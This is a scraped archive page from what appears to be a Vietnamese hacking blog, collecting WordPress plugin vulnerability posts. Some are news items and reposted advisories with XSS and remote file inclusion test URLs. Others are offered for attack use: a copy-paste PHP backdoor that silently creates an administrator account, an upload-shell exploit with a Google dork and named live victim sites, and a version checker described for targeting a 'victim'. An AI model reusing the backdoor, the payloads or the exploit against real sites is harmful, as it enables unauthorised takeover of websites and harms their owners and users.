Lỗ hổng DOM XSS trong WordPress SEO by Yoast

<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-bVoYAMzhh4H0YPI4HQlVFzL_ZTSLYF7AHDjAn7BBzjCDKj5qvCVOnxddSr8Orfk8JXTS3tyRsAHzAr-TY-ZwAMmET17tA2wofVWwboL5_-uJkTPAWMO-jRZTgpQLfPxzDfvOfD8vCNl/s1600/WordPress-SEO-by-Yoast-DOM-XSS.PNG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="WordPress SEO by Yoast - DOM XSS Vulderability" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1-bVoYAMzhh4H0YPI4HQlVFzL_ZTSLYF7AHDjAn7BBzjCDKj5qvCVOnxddSr8Orfk8JXTS3tyRsAHzAr-TY-ZwAMmET17tA2wofVWwboL5_-uJkTPAWMO-jRZTgpQLfPxzDfvOfD8vCNl/s1600/WordPress-SEO-by-Yoast-DOM-XSS.PNG" title="WordPress SEO by Yoast - DOM XSS Vulderability"></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><b>WordPress SEO by Yoast - DOM XSS Vulderability</b></td></tr></tbody></table><div style="text-align: center;"><div style="text-align: left;">Một lỗ hổng <b>DOM XSS</b> trong plugin <b>WordPress SEO by Yoast</b> đã được <a href="https://wordpress.org/support/topic/security-issue-with-post-title-field-xss-vulnerability#post-3575617" target="_blank">báo cáo 2 năm trước</a> bởi một thành viên có tên tài khoản "badconker". Tác giả của plugin nói rằng nó đã được vá nhưng nhà bảo mật <a href="https://inventropy.us/blog/yoast-seo-plugin-cross-site-scripting-vulnerability/" target="_blank">Charles Neill</a> phát hiện ra dường như lỗ hổng đã xuất hiện trở lại. Nếu bạn đang sử dụng plugin này, tôi khuyên bạn nên cập nhật ngay lên <a href="https://github.com/Yoast/wordpress-seo/releases" target="_blank">phiên bản mới nhất</a> (2.2.1).<br><br><br></div></div><a href="http://junookyo.blogspot.com/2015/06/wordpress-seo-dom-xss-vulnerability.html#more">ĐỌC TIẾP »</a>

Lỗ hổng DOM XSS trong WordPress SEO by Yoast

WordPress SEO by Yoast - DOM XSS Vulderability Một lỗ hổng DOM XSS trong plugin WordPress SEO by Yoast đã được báo cáo 2 năm trước bởi mộ...

Read more »

Hàng triệu trang web WordPress và Drupal có nguy cơ bị tấn công DoS

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0JmSvjpUs3JQf_VedX9WJP7h9RBdyNtUNl-sJoIN7EwVIVHP-SfqlmEl2_t9X7z1Z6Ajnv1jMjuaAcFTVlsR51KIF3fQpRDEWkw3omXGpmV11PYR4Hhj66TYr5y6dhkSIu3Ls078Gp_-c/s1600/Hacking-drupal-wordpress.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0JmSvjpUs3JQf_VedX9WJP7h9RBdyNtUNl-sJoIN7EwVIVHP-SfqlmEl2_t9X7z1Z6Ajnv1jMjuaAcFTVlsR51KIF3fQpRDEWkw3omXGpmV11PYR4Hhj66TYr5y6dhkSIu3Ls078Gp_-c/s1600/Hacking-drupal-wordpress.jpg" width="400"></a></div><br>Nếu như bạn đang chạy một trang web sử dụng mã nguồn <b><a href="http://junookyo.blogspot.com/search/label/WordPress" target="_blank">WordPress</a></b> hay <b><a href="http://junookyo.blogspot.com/search/label/Drupal" target="_blank">Drupal</a></b> thì bạn nên cập nhật phiên bản mới nhất ngay lập tức.<br><br>Một lỗ hổng nghiêm trọng vừa được phát hiện trong <b>Drupal</b> và <b>WordPress</b> cho phép kẻ tấn công vô hiệu hóa trang web của bạn thông qua một phương pháp được gọi là <b><a href="http://junookyo.blogspot.com/search/label/DDoS" target="_blank">Tấn công từ chối dịch vụ</a> (DoS)</b>.<br><br><a href="http://junookyo.blogspot.com/2014/08/hang-trieu-trang-web-wordpress-va-drupal-co-nguy-co-bi-tan-cong.html#more">ĐỌC TIẾP »</a>

Hàng triệu trang web WordPress và Drupal có nguy cơ bị tấn công DoS

Nếu như bạn đang chạy một trang web sử dụng mã nguồn WordPress hay Drupal thì bạn nên cập nhật phiên bản mới nhất ngay lập tức. Một lỗ hổn...

Read more »

Lỗ hổng trong plugin WordPress Disqus khiến hàng triệu Blog có nguy cơ bị tấn công

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQwShf35bAmUSQmDSWMhPqNmdMsK9AZqEJeniq26eiQbmJ3AgbGJwFwjMCl_7kAKHo56ZX3c6YFlZlXV99Fvzsev66bB9JZpp1O6t-CAYHTfmtTSCtTo5oQX6QGgAmhh7N8kA4ACSORLn/s1600/disqus-wordpress-plugin-exploit-hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRQwShf35bAmUSQmDSWMhPqNmdMsK9AZqEJeniq26eiQbmJ3AgbGJwFwjMCl_7kAKHo56ZX3c6YFlZlXV99Fvzsev66bB9JZpp1O6t-CAYHTfmtTSCtTo5oQX6QGgAmhh7N8kA4ACSORLn/s1600/disqus-wordpress-plugin-exploit-hacking.jpg" width="400"></a></div><div style="text-align: left;"><br></div><div style="text-align: left;">Một lỗ hổng thực thi mã từ xa (RCE) đã được phát hiện trong plugin Disqus - là plugin cung cấp dịch vụ bình luận và thảo luận cho nền tảng blog phổ biến <b><a href="http://junookyo.blogspot.com/search/label/WordPress" target="_blank">Wordpress</a></b>.</div><div style="text-align: left;"><br></div><div style="text-align: left;">Hiện tại có hơn <b>70 triệu</b> trang web trên Internet hiện đang chạy WordPress, khoảng <b>1,3 triệu</b> người sử dụng plugin <b><a href="http://wordpress.org/plugins/disqus-comment-system/" target="_blank">'Disqus Comment System'</a></b>, làm cho nó trở thành một trong những plugin phổ biến của Wordpress.</div><div style="text-align: left;"><br></div><div style="text-align: left;">Nhóm nghiên cứu an ninh tại hãng bảo mật Sucuri đã phát hiện một lỗ hổng Thực thi mã từ xa (RCE) nghiêm trọng trong khi đang phân tích một số cú pháp tùy chỉnh JSON của plugin Disqus và thấy rằng các hàm phân tích cú pháp biến có thể cho phép bất cứ ai thực thi các lệnh trên máy chủ sử dụng hàm PHP <b>eval()</b> được xây dựng không an toàn.</div><div style="text-align: left;"></div><a href="http://junookyo.blogspot.com/2014/06/lo-hong-trong-plugin-wordpress-disqus-khien-hang-trieu-blog-co-nguy-co-bi-tan-cong.html#more">ĐỌC TIẾP »</a>

Lỗ hổng trong plugin WordPress Disqus khiến hàng triệu Blog có nguy cơ bị tấn công

Một lỗ hổng thực thi mã từ xa (RCE) đã được phát hiện trong plugin Disqus - là plugin cung cấp dịch vụ bình luận và thảo luận cho nền tảng b...

Read more »

Xuất hiện lỗ hổng bảo mật trong Plugin “All in One SEO Pack” của WordPress

<div data-mce-style="text-align: left;" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoiSnueDZw4QFOavVQQP3ilyXxVPBFBENTN1S-sX2QRQtggzZpOYCpN1ZB7axDzr2zHmO4_p5hLPWAFNAobNElHLfozr6OoIbOzxIiJzIGTxKl6pmdpr_WVNVDhhTwOWoJf8YRVXzRWGEb/s1600/wordpress-all-in-one-seo-pack-plugin-hack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoiSnueDZw4QFOavVQQP3ilyXxVPBFBENTN1S-sX2QRQtggzZpOYCpN1ZB7axDzr2zHmO4_p5hLPWAFNAobNElHLfozr6OoIbOzxIiJzIGTxKl6pmdpr_WVNVDhhTwOWoJf8YRVXzRWGEb/s1600/wordpress-all-in-one-seo-pack-plugin-hack.png" width="400"></a></div><div style="text-align: center;"><br></div>Nhiều lỗ hổng bảo mật nghiêm trọng đã được phát hiện trong Plugin nổi tiếng <strong><span style="color: yellow;">"All in One SEO Pack"</span></strong> cho WordPress đặt hàng triệu trang Web sử dụng <strong><span style="color: yellow;">WordPress</span></strong> có nguy cơ bị ảnh hưởng.<br><br></div><div data-mce-style="text-align: left;" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;">WordPress là một mã nguồn mở dễ dàng cài đặt và sử dụng, do đó rất nhiều người ưa thích sử dụng nó. Nhưng nếu bạn hay công ty của bạn đang sử dụng Plugin "All in One SEO Pack" để tối ưu hóa xếp hạng trang Web trên các bộ máy tìm kiếm thì bạn nên cập nhật ngay lập tức phiên bản mới nhất <em><strong><span style="color: yellow;">All in One SEO Pack 2.1.6</span></strong></em>.</div><div data-mce-style="text-align: left;" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px;"><br></div><a href="http://junookyo.blogspot.com/2014/06/xuat-hien-lo-hong-bao-mat-trong-plugin-all-in-one-seo-pack-cua-wordpress.html#more">ĐỌC TIẾP »</a>

Xuất hiện lỗ hổng bảo mật trong Plugin “All in One SEO Pack” của WordPress

Nhiều lỗ hổng bảo mật nghiêm trọng đã được phát hiện trong Plugin nổi tiếng  "All in One SEO Pack"  cho WordPress đặt hàng triệu t...

Read more »

Smart Hunter v.1.4.3 Public Version

<div style="text-align: center;"><img alt="Smart Hunter v.1.4.3 Public Version | Juno_okyo's Blog" class="decoded" height="203" src="http://anonymousvnofficical.files.wordpress.com/2012/11/399324_171827559626976_1428166514_n.jpg?w=683" title="Smart Hunter v.1.4.3 Public Version | Juno_okyo's Blog" width="400" /> </div><div style="text-align: center;"><br /></div><div style="text-align: center;"><img alt="Smart Hunter v.1.4.3 Public Version | Juno_okyo's Blog" class="decoded" height="204" src="http://anonymousvnofficical.files.wordpress.com/2012/11/smarthunter1.png?w=686" title="Smart Hunter v.1.4.3 Public Version | Juno_okyo's Blog" width="400" /></div><br /><div style="text-align: center;">Download : <a href="http://adf.ly/FRrSF" rel="nofollow" target="_blank">http://adf.ly/FRrSF</a> </div>

Smart Hunter v.1.4.3 Public Version

  Download : http://adf.ly/FRrSF

Read more »

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

<pre>WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting<br />Software: WP e-Commerce<br />Software Language: PHP<br />Version: 3.8.9 and below<br />Vendor Status: Vendor contacted<br />Release Date: 2012-11-12<br />Risk: High<br /> <br /> <br /> <br />1. General Overview<br />===================<br />During the security audit of WP E-Commerce plugin for WordPress CMS,<br />multiple vulnerabilities were discovered using DefenseCode ThunderScan<br />PHP web application source code security analysis platform.<br />More information about ThunderScan PHP is available at URL:<br />http://www.defensecode.com/subcategory/thunderscan-8<br /> <br />Detailed report for each vulnerability can be found in the following PDF<br />report:<br />http://www.defensecode.com/public/wp-e-commerce_security_audit_final_report.pdf<br /> <br />Report has been generated by ThunderScan PHP Web Application Source Code<br />Security Analysis.<br /> <br /> <br />2. Software Overview<br />===================<br />WP e-Commerce is a popular e-commerce plugin for WordPress. Users can<br />use it to to sell products, downloads or services online. It has more<br />than 2 Million downloads on wordpress.org.<br /> <br />Homepage:<br />http://wordpress.org/extend/plugins/wp-e-commerce/<br />http://getshopped.org/<br /> <br /> <br />3. Brief Vulnerability Description<br />==================================<br />During the security analysis, ThunderScan PHP discovered multiple SQL<br />Injection and Cross Site Scripting vulnerabilities in WP e-Commerce plugin.<br /> <br />3.1. SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results($sql)<br />Variable: $_POST['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 699 wp-e-commerce\wpsc-core\wpsc-deprecated.php<br /> <br />3.2 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results( $sql )<br />Variable: $_POST['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 681 wp-e-commerce\wpsc-core\wpsc-deprecated.php<br /> <br />3.3 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results( $sql )<br />Variable: $_GET['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 525 wp-e-commerce\wpsc-includes\purchaselogs.class.php<br /> <br />3.4 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results( $sql )<br />Variable: $_GET['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 543 wp-e-commerce\wpsc-includes\purchaselogs.class.php<br /> <br />3.5 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results( $sql )<br />Variable: $_GET['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 534 wp-e-commerce\wpsc-includes\purchaselogs.class.php<br /> <br />3.6 SQL injection<br />File: wp-e-commerce\wpsc-includes\purchaselogs.class.php<br />Function: get_results( $sql )<br />Variable: $_POST['view_purchlogs_by_status']<br />Called from (function line file):<br />get_purchlogs() 689 wp-e-commerce\wpsc-core\wpsc-deprecated.php<br /> <br />3.7 Cross-Site Scripting<br />File: wp-e-commerce\wpsc-admin\includes\purchase-log-list-ta<br />ble-class.php<br />Function: echo ('<input type="hidden" name="m" value="' . $m . '" />')<br />Variable: $_REQUEST['m']<br /> <br /> <br />4. Solution<br />===========<br />Vendor resolved security issues in latest WP e-Commerce release. All<br />users are strongly advised to update WP e-Commerce plugin to the latest<br />available version 3.8.9.1.<br /> <br /># 1337day.com [2012-11-19]<br /></pre>

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting

WordPress WP E-Commerce 3.8.9 SQL Injection / Cross Site Scripting Software: WP e-Commerce Software Language: PHP Version: 3.8.9 and below V...

Read more »

Wordpress Plugins Spotlight Your Upload Vulnerability

<pre>___________.__ _________ _________ <br />\__ ___/| |__ ____ \_ ___ \______ ______ _ ________ \_ ___ \______ ______ _ __<br />| | | | \_/ __ \ / \ \|_ __ \/ _ \ \/ \/ / ___/ / \ \|_ __ \/ __ \ \/ \/ /<br />| | | Y \ ___/ \ \___| | \( <_> ) /\___ \ \ \___| | \| ___/\ /<br />|____| |___| /\___ > \______ /__| \____/ \/\_//____ > \______ /__| \___ >\/\_/ <br />\/ \/ \/ \/ \/ \/ <br /> <br />INDO-PENDENT HACKER<br />http://thecrowscrew.org<br />#################################################################################################<br />Exploit Title: Wordpress Plugins Spotlight Your Upload Vulnerability<br />Google Dork: inurl:"/wp-content/plugins/spotlightyour/"<br />Date: 18/11/2012<br />Locations: Banjarmasin, Indonesia<br />Author: ovanIsmycode & walangkaji<br />Contact: rootx@thecrowscrew.org & walangkaji@thecrowscrew.org<br />Software Link: http://www.spotlightyour.com<br />#################################################################################################<br /> <br />[+] POC<br /> <br />Exp. Target :<br />- http://domain.com/wp-content/plugins/spotlightyour/<br /> <br />Exploit :<br />- /monetize/upload/index.php<br /> <br />Shell Access :<br />- http://domain.com/wp-content/uploads/[year]/[month]/[search your shell].php<br /> <br />Ending :<br />- Fraksi Bejoug a.k.a Kalam Saheru<br />Saparatoss Blank Blank<br />awkwkwkwk :v<br /> <br />http://beautyexo.com/wp-content/plugins/spotlightyour/monetize/upload/<br /> <br />http://www.promogotion.com/wp-content/plugins/spotlightyour/monetize/upload/<br /> <br />http://shopping.businessminister.com/wp-content/plugins/spotlightyour/monetize/upload/<br /> <br />#################################################################################################<br /> <br />Spec!4L th4nk'5 to :<br />MsconfiX, Catalyst71, Gabby, din_muh, don_ojan, DendyIsMe, kit4r0, 777r, ph_ovtl4w, adecakep7,<br />penjamoen, -=[The Crows Crew]=-, Indonesian Hacker<br /> <br />thecrowscrew.org, hacker-newbie.org, yogyacarderlink.web.id, devilzc0de.org<br /> <br />########################################[end]####################################################<br /> <br /># 1337day.com [2012-11-19]<br /></pre>

Wordpress Plugins Spotlight Your Upload Vulnerability

___________.__ _________ _________ \__ ___/| |__ ____ \_ ___ \______ ...

Read more »

WordPress Admin Access Backdoor

<pre><?php <br />add_action('wp_head', 'my_backdoor'); <br /><br />function my_backdoor() { <br />If ($_GET['backdoor'] == 'go') { <br />require('wp-includes/registration.php'); <br />If (!username_exists('private')) { <br />$user_id = wp_create_user('private', '12345678'); <br />$user = new WP_User($user_id); <br />$user->set_role('administrator'); <br />} <br />} <br />} <br />?><br /></pre>

WordPress Admin Access Backdoor

<?php add_action('wp_head', 'my_backdoor'); function my_backdoor() { If ($_GET['backdoor'] == 'go') { req...

Read more »

Cross-site Scripting Vulnerability in WordPress GD Star Rating Plugin

<table border="0" style="width: 50%px;"><tbody><tr><td width="20%"><b>Vector:</b> </td> <td align="left">Remote </td> </tr><tr> <td width="20%"><b>Severity:</b> </td> <td align="left">Low </td> </tr><tr> <td width="20%"><b>Patch:</b> </td> <td align="left">Unpatched </td> </tr><tr> <td width="20%"><b>Impact:</b> </td> <td align="left">Cross-site Scripting (XSS) </td> </tr><tr> <td width="20%"><b>Software:</b> </td> <td align="left">WordPress GD Star Rating Plugin 1.x , vulnerable versions: <=1.9.7 <br></td></tr></tbody></table><a href="http://junookyo.blogspot.com/2012/11/cross-site-scripting-vulnerability-in.html#more">ĐỌC TIẾP »</a>

Cross-site Scripting Vulnerability in WordPress GD Star Rating Plugin

Vector: Remote Severity: Low Patch: Unpatched Impact: Cross-site Scripting (XSS) Softw...

Read more »

Biggest wordpress Exploit Library

<span style="color: lime;"><span style="font-size: large;">Biggest wordpress Exploit Library:</span></span><br><a href="http://junookyo.blogspot.com/2012/11/biggest-wordpress-exploit-library.html#more">ĐỌC TIẾP »</a>

Biggest wordpress Exploit Library

Biggest wordpress Exploit Library: ĐỌC TIẾP »

Read more »

WordPress Version Checker - MD5 Hash Method

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtbiMs0tzFNoBi7beMl6250yVtDnoHJzLs95qbHSWNWhU6ePtEHLxtJ9COa2CqXH-W4ZZvvTpBfeGyA-kXtd9SkhZqwb3AsYXloMBFpbXY-8LmuAF4bpAU70L2LEh2rHR8WUsQ9bWT6Vd/s320/WordPress+Version+Checker.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="WordPress+Version+Checker" border="0" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtbiMs0tzFNoBi7beMl6250yVtDnoHJzLs95qbHSWNWhU6ePtEHLxtJ9COa2CqXH-W4ZZvvTpBfeGyA-kXtd9SkhZqwb3AsYXloMBFpbXY-8LmuAF4bpAU70L2LEh2rHR8WUsQ9bWT6Vd/s320/WordPress+Version+Checker.png" title="WordPress+Version+Checker" width="200"></a></div><br><b>WordPress Version Check</b> provides you with an easy way of checking that which version your Victim is using. It is a simple php Script based upon  <b>MD5 Hash Method</b>.<br><a href="http://junookyo.blogspot.com/2012/11/wordpress-version-checker-md5-hash.html#more">ĐỌC TIẾP »</a><br /><br /><br /><br /><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2F3.bp.blogspot.com%2F-8dXBKDD_ngQ%2FUGsqGGREdrI%2FAAAAAAAAIyg%2FIMWrQshGVks%2Fs320%2FWordPress%2BVersion%2BChecker.png&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtbiMs0tzFNoBi7beMl6250yVtDnoHJzLs95qbHSWNWhU6ePtEHLxtJ9COa2CqXH-W4ZZvvTpBfeGyA-kXtd9SkhZqwb3AsYXloMBFpbXY-8LmuAF4bpAU70L2LEh2rHR8WUsQ9bWT6Vd/s320/WordPress+Version+Checker.png" --><!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtbiMs0tzFNoBi7beMl6250yVtDnoHJzLs95qbHSWNWhU6ePtEHLxtJ9COa2CqXH-W4ZZvvTpBfeGyA-kXtd9SkhZqwb3AsYXloMBFpbXY-8LmuAF4bpAU70L2LEh2rHR8WUsQ9bWT6Vd/s320/WordPress+Version+Checker.png" with "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjtbiMs0tzFNoBi7beMl6250yVtDnoHJzLs95qbHSWNWhU6ePtEHLxtJ9COa2CqXH-W4ZZvvTpBfeGyA-kXtd9SkhZqwb3AsYXloMBFpbXY-8LmuAF4bpAU70L2LEh2rHR8WUsQ9bWT6Vd/s320/WordPress+Version+Checker.png" -->

WordPress Version Checker - MD5 Hash Method

WordPress Version Check provides you with an easy way of checking that which version your Victim is using. It is a simple php Script based...

Read more »

Skin Metro Windows 8 cực đẹp cho WordPress

<h2 class="title icon">Skin Metro Windows 8 cực đẹp cho WP </h2><div class="content"><div id="post_message_49685"><img alt="" border="0" src="http://smthemes.com/products/metropress_lrg.png" /><br /><br />Download: <a href="http://adf.ly/FMxAe" rel="nofollow" target="_blank">http://adf.ly/FMxAe</a></div></div>

Skin Metro Windows 8 cực đẹp cho WordPress

Skin Metro Windows 8 cực đẹp cho WP Download: http://adf.ly/FMxAe

Read more »

Wordpress Social Discussions 6.1.1 File Inclusion / Path Disclosure

<pre><br />Author: Janek Vind "waraxe"<br />Location: Estonia, Tartu<br />Web: http://www.waraxe.us/advisory-93.html<br />Description of vulnerable target:<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also<br />enables you to Automatically Publish or Self Publish your Blog Posts to 25+<br />Networks.<br />http://wordpress.org/extend/plugins/social-discussions/<br />Affected version: 6.1.1<br />###############################################################################<br />1. Remote File Inclusion in "social-discussions-networkpub_ajax.php"<br />###############################################################################<br />Reasons: Uninitialized variable "$HTTP_ENV_VARS"<br />Attack vectors: User-supplied parameter "HTTP_ENV_VARS"<br />Preconditions:<br />1. register_globals=on<br />2. register_long_arrays=off<br />3. allow_url_include=on for RFI if PHP >= 5.2.0<br />4. PHP must be < 5.3.4 for LFI null-byte attacks<br />5. magic_quotes_gpc=off for LFI null-byte attacks<br />Php script "social-discussions-networkpub_ajax.php" line 2:<br />------------------------[ source code start ]----------------------------------<br />if (!function_exists('add_action')){<br />@include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php");<br />------------------------[ source code end ]------------------------------------<br />We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized<br />and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive<br />"register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in<br />same time "register_globals=on", it is possible to fill that array with any<br />value, leading to the RFI (Remote File Inclusion) vulnerability.<br />Tests:<br />http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/?<br />http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environz<br />###############################################################################<br />2. Full Path Disclosure in multiple scripts<br />###############################################################################<br />Reasons: Direct request to php script triggers pathname leak in error message<br />Preconditions: PHP directive display_errors=on<br />Result: Information Exposure Through an Error Message<br />Tests:<br />http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php<br />Fatal error: Call to undefined function __() in<br />C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2<br />http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php<br />Fatal error: Call to undefined function __() in<br />C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2<br />http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php<br />Fatal error: Call to undefined function __() in<br />C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3<br /> <br /> <br /># 1337day.com [2012-10-18]<br /></pre>

Wordpress Social Discussions 6.1.1 File Inclusion / Path Disclosure

Author: Janek Vind "waraxe" Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-93.html Description of vulnerable target: ...

Read more »

WordPress Slideshow 2.1.12 Cross Site Scripting / Path Disclosure

<pre><br />Author: Janek Vind "waraxe"<br />Date: 17. October 2012<br />Location: Estonia, Tartu<br />Web: http://www.waraxe.us/advisory-92.html<br />Description of vulnerable target:<br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />Slideshow provides an easy way to integrate a slideshow for any WordPress<br />installation.<br />Any image can be loaded into the slideshow by picking it from the WordPress<br />media page, even images you've already uploaded can be inserted into your<br />slideshow right away!<br />http://wordpress.org/extend/plugins/slideshow-jquery-image-gallery/<br />Affected version: 2.1.12<br />###############################################################################<br />1. Reflected XSS in "views/SlideshowPlugin/slideshow.php"<br />###############################################################################<br />Reasons:<br />1. Uninitialized variables "$randomId", "$slides" and "$settings"<br />2. Improper encoding or escaping of output<br />Attack vectors: User-supplied parameters "randomId", "slides" and "settings"<br />Preconditions: PHP directive register_globals=on<br />Tests:<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId="><script>alert(123);</script><br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=<script>alert(123);</script><br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?settings=<body+onload='alert(123)'><br />###############################################################################<br />2. Reflected XSS in "views/SlideshowPluginPostType/settings.php"<br />###############################################################################<br />Reasons:<br />1. Uninitialized variables "$settings" and "$inputFields"<br />2. Improper encoding or escaping of output<br />Attack vectors: User-supplied parameters "settings" and "inputFields"<br />Preconditions: PHP directive register_globals=on<br />Tests:<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=<script>alert(123);</script><br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[0][]&inputFields[0]=<script>alert(123);</script><br />###############################################################################<br />3. Reflected XSS in "views/SlideshowPluginPostType/style-settings.php"<br />###############################################################################<br />Reasons:<br />1. Uninitialized variables "$settings" and "$inputFields"<br />2. Improper encoding or escaping of output<br />Attack vectors: User-supplied parameters "settings" and "inputFields"<br />Preconditions: PHP directive register_globals=on<br />Tests:<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0][3]=<script>alert(123);</script><br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=<script>alert(123);</script><br />###############################################################################<br />4. Full Path Disclosure in multiple scripts<br />###############################################################################<br />Reasons: Direct request to php script triggers pathname leak in error message<br />Preconditions: PHP directive display_errors=on<br />Result: Information Exposure Through an Error Message<br />Tests:<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/slideshow.php<br />Fatal error: Call to undefined function add_action() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\slideshow.php on line 34<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/classes/SlideshowPluginWidget.php<br />Fatal error: Class 'WP_Widget' not found in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\classes\SlideshowPluginWidget.php on line 8<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php<br />Fatal error: Class 'SlideshowPluginMain' not found in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPlugin\slideshow.php on line 111<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/information.php<br />Fatal error: Call to undefined function _e() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\information.php on line 1<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php<br />Warning: Invalid argument supplied for foreach() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\settings.php on line 3<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/slides.php<br />Fatal error: Class 'SlideshowPluginSlideInserter' not found in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\slides.php on line 3<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php<br />Warning: Invalid argument supplied for foreach() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\style-settings.php on line 2<br />http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/support-plugin.php<br />Fatal error: Call to undefined function _e() in<br />C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\support-plugin.php on line 3<br 